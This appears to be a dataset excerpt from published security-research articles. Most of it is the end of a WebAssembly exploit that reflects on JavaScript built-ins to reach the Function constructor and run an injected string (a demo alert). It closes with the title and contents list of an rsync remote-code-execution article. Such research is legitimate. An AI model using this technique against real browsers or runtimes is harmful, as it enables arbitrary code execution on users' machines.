text
stringlengths
0
1.99k
(call $getOwnPropertyDescriptor
(global.get $s_length)
(global.get $s_length)
)
)
(i32.const 6)
)
(global.set $OFF_VALUE)
;; Obtain the offset of 'constructor' in the Object prototype
(call $get_index_for_element_with_length
;; Object.getOwnPropertyNames({}.constructor.prototype)
(call $getOwnPropertyNames (global.get $prototype))
(i32.const 11) ;; "constructor".length
)
(global.set $OFF_CONSTRUCTOR)
;; Get the string 'constructor'
;; In addition to the offset obtained above, we need this as a string
;; because the index of 'constructor' in Object's property list is
;; different from the index of 'constructor' in String's property list.
(call $array_get_nth_element
(call $getOwnPropertyNames (global.get $prototype))
(global.get $OFF_CONSTRUCTOR)
)
(global.set $s_constructor)
;; Get String.prototype.constructor
;; (via the string "constructor" but could be any string)
(call $object_get_named_property
(call $getPrototypeOf (global.get $s_constructor))
(global.get $s_constructor)
)
(global.set $String_constructor)
;; Obtain the idxs of 'fromCharCode' and 'raw' in list of String's keys
(call $get_index_for_element_with_length
;; Object.getOwnPropertyNames(String)
(call $getOwnPropertyNames (global.get $String_constructor))
(i32.const 12) ;; "fromCharCode".length
)
(global.set $OFF_FROMCHARCODE)
(call $get_index_for_element_with_length
;; Object.getOwnPropertyNames(String)
(call $getOwnPropertyNames (global.get $String_constructor))
(i32.const 3) ;; "raw".length
)
(global.set $OFF_RAW)
;; Get String.constructor.fromCharCode and String.constructor.raw
(call $object_get_nth_property
(global.get $String_constructor) (global.get $OFF_FROMCHARCODE)
)
(global.set $String_constructor_fromCharCode)
(call $object_get_nth_property
(global.get $String_constructor) (global.get $OFF_RAW)
)
(global.set $String_constructor_raw)
;; Get the string 'raw' from the String constructor
;; (we also need it to construct the parameter of String.raw)
(call $array_get_nth_element
(call $getOwnPropertyNames (global.get $String_constructor))
(global.get $OFF_RAW)
)
(global.set $s_raw)
;; Build the payload. Returns wrapped in array,
;; e.g. [ "00;alert('hi from WASM')" ]
(call $build_string)
(local.set $payload)
;; Make our function and call it using groupBy!!
(call $groupBy_e
;; Use payload as a convenient array with length 1 to use for groupBy
(local.get $payload)
(call $constructor
(local.get $payload)
)
)
drop ;; ignore return value
)
(start $main)
)
|=[ EOF ]=---------------------------------------------------------------=|
|=----------------------------------------------------------------------=|
|=--------------=[ Desync the Planet - Rsync Remote Code ]=-------------=|
|=---------------------------=[ Execution ]=----------------------------=|
|=----------------------------------------------------------------------=|
|=---------=[ Simon Scannell, Pedro Gallegos, Jasiel Spelman ]=---------=|
|=----------------------------------------------------------------------=|
0 - Introduction
1 - Vulnerabilities
2 - Technical Details
2.0.0 - Background - Rsync Architecture
2.0.1 - File Comparison Algorithm
2.0.2 - Rsync Workflow